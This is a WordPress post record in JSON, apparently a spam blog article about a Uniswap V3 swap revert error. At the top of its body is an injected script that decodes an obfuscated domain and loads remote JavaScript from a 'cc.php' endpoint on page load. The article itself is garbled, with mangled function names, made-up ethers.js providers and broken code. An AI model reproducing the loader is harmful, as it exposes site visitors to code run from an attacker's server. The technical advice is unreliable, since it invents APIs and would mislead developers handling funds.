{"id":1104,"date":"2025-02-08T01:46:08","date_gmt":"2025-02-08T01:46:08","guid":{"rendered":"https:\/\/hccmena.com\/?p=1104"},"modified":"2025-02-08T01:46:08","modified_gmt":"2025-02-08T01:46:08","slug":"ethereum-layer2-revert-execution-error-when-calling-exactinputsingle-in-uniswap-v3","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/ethereum-layer2-revert-execution-error-when-calling-exactinputsingle-in-uniswap-v3\/","title":{"rendered":"Ethereum: Layer2: Revert Execution Error when Calling exactInputSingle in Uniswap V3"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=62b9adff\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum: Layer2 returns the error error by calling <code>exactinputsingle<\/code> in uniswap v3 <\/strong><\/p>\n<\/p>\n<p>Hello community overflow,<\/p>\n<\/p>\n<p>I am working on the replacement of tokens on the base layer network2 using UNISWAP V3 and ETShers.js. I have successfully approved the transaction using the &#8220;approval&#8221; function, but recently I found an error that prevents me from doing swap.<\/p>\n<\/p>\n<p>The problem occurs when calling &#8220;Exactinputsingle&#8221; with precise entry parameters, namely, when I call <code>exch.swapexactthetensforthwithrate<\/code>. This particular case of use caused an error of reverse in Uniswap V3.<\/p>\n<\/p>\n<p><strong> background <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/mbl4XgyCGoM\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>The UNISWAP V3 provides several features to replace tokens in layer 2. Two of the two of the most common approaches are &#8216;SwapexacttothensForeh<code>and' Exch.SwAPEXACTTHETENS for the beginning '. While both functions allow precise exchange management, they have different sets of parameters and use patterns.<\/p>\n<\/p>\n<p><strong> Problem: Singing entry Precise with Uniswap V3 <\/strong><\/p>\n<\/p>\n<p>By calling \"exactinputsingle<\/code>, it requires an object with specific parameters that includes:<\/p>\n<\/p>\n<ul>\n<li><code>Supply<\/code> (Token of quantity at the entrance)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><code>Sumout<\/code> (Token high at exit)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><code>To<\/code> (recipient&#8217;s address)<\/li>\n<\/ul>\n<\/p>\n<p>In<\/p>\n<\/p>\n<p>However, by using &#8220;Exactinputsingle&#8221;, we must deliver the exact input parameters to avoid possible problems. One of those parameters is &#8220;Gasprice&#8221;, which determines the price of gas for execution.<\/p>\n<\/p>\n<p>In Uniswap V3, I call <code>exch.SWAPEXACTTHETHESFORETHORETRATE<\/code> with the same input parameters as&#8221; Exactinputsingle &#8216;will cause an error of reverse due to the following reasons:<\/p>\n<\/p>\n<ul>\n<li>This mismatch can lead to an unexpected result, resulting in performance.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Even if we ignore the previous reason, calling both functions with the same input parameters can still cause problems due to its different use patterns.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Solution <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Layer2: Revert Execution Error when Calling exactInputSingle in Uniswap V3\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/233e0fb5.png\"><\/p>\n<\/p>\n<p>To solve this problem, you must use <code>Exchange.Swapexactthetehwithrate 'when tokens are accurately replaced. Here is an updated code fragment:<\/p>\n<\/p>\n<p><\/code><code>JavaScript<\/p>\n<\/p>\n<p>Import * as unisswap z '@uniswap\/v3-core';<\/p>\n<\/p>\n<p>Import {Ethers} of 'ether';<\/p>\n<\/p>\n<p>\/\/ Determine the price of gas for execution<\/p>\n<\/p>\n<p>Const gisprice = new ethers.providers.gaspriceprovider (<\/p>\n<\/p>\n<p>  Process.env.env.alliance_gas_price,<\/p>\n<\/p>\n<p>  New Etshers.providers.kilohopprovider ()<\/p>\n<\/p>\n<p>);<\/p>\n<\/p>\n<p>\/\/ Create a UNISWAP instance with the gas price supplier provided<\/p>\n<\/p>\n<p>Const unisswap = new unisswap ({{{{<\/p>\n<\/p>\n<p>  Supplier: New Ether.providers.flexgateway (<\/p>\n<\/p>\n<p>    New Ethers.providers.Ethereumprovider (Process.env.ethereum_address, Process.env. Alliance_url),<\/p>\n<\/p>\n<p>    gas,<\/p>\n<\/p>\n<p>    {<\/p>\n<\/p>\n<p>      Chain: process.env.chain_id,<\/p>\n<\/p>\n<p>    },<\/p>\n<\/p>\n<p>  )<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p>\/\/ Call exchange function<\/p>\n<\/p>\n<p>Uniswap.swapxactthetensForetho -Det (<\/p>\n<\/p>\n<p>  Tokensin<\/p>\n<\/p>\n<p>  Tokensout,<\/p>\n<\/p>\n<p>  Eth.,<\/p>\n<\/p>\n<p>  [Gasprice],<\/p>\n<\/p>\n<p>  {Supply: tokensin, sumout: tokensout, to: ethto}<\/p>\n<\/p>\n<p>);<\/p>\n<\/p>\n<p><\/code><code><\/code><code><\/p>\n<\/p>\n<p>When using<\/code>Exch.SwapexactthetensforEtsForette<code>with the correct gas price provider and deliver precise entry parameters, you must be able to resolve the error of reverse caused by calling\" Exactinputsingle \".<\/p>\n<\/p>\n<p><strong> Conclusion <\/strong><\/p>\n<\/p>\n<p>In summary, by replacing tokens exactly in Uniswap v3 using Ethers.js, make sure that instead of<\/code>Exactinputsingle<code>Sump.SwapexacttotthensForethwitrate<\/code>. This approach will ensure that your exchange is correct and without returned errors. If you still find problems, provide more details about an error message or a specific sketch of the code.<\/p>\n<\/p>\n<p>Thanks for pointing out this problem in the original publication!<\/p>\n<p><a href=\"https:\/\/mytalentium.com\/ethereum-i-get-this-error-when-i-try-calling-the-getbalance-function-in-node-js\/\">ETHEREUM ERROR CALLING NODE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: Layer2 returns the error error by calling exactinputsingle in uniswap v3 Hello community overflow, I am working on the replacement of tokens on the base layer network2 using UNISWAP V3 and ETShers.js. I have successfully approved the transaction using the &#8220;approval&#8221; function, but recently I found an error that prevents me from doing swap. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1104"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1104"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1104\/revisions"}],"predecessor-version":[{"id":1105,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1104\/revisions\/1105"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}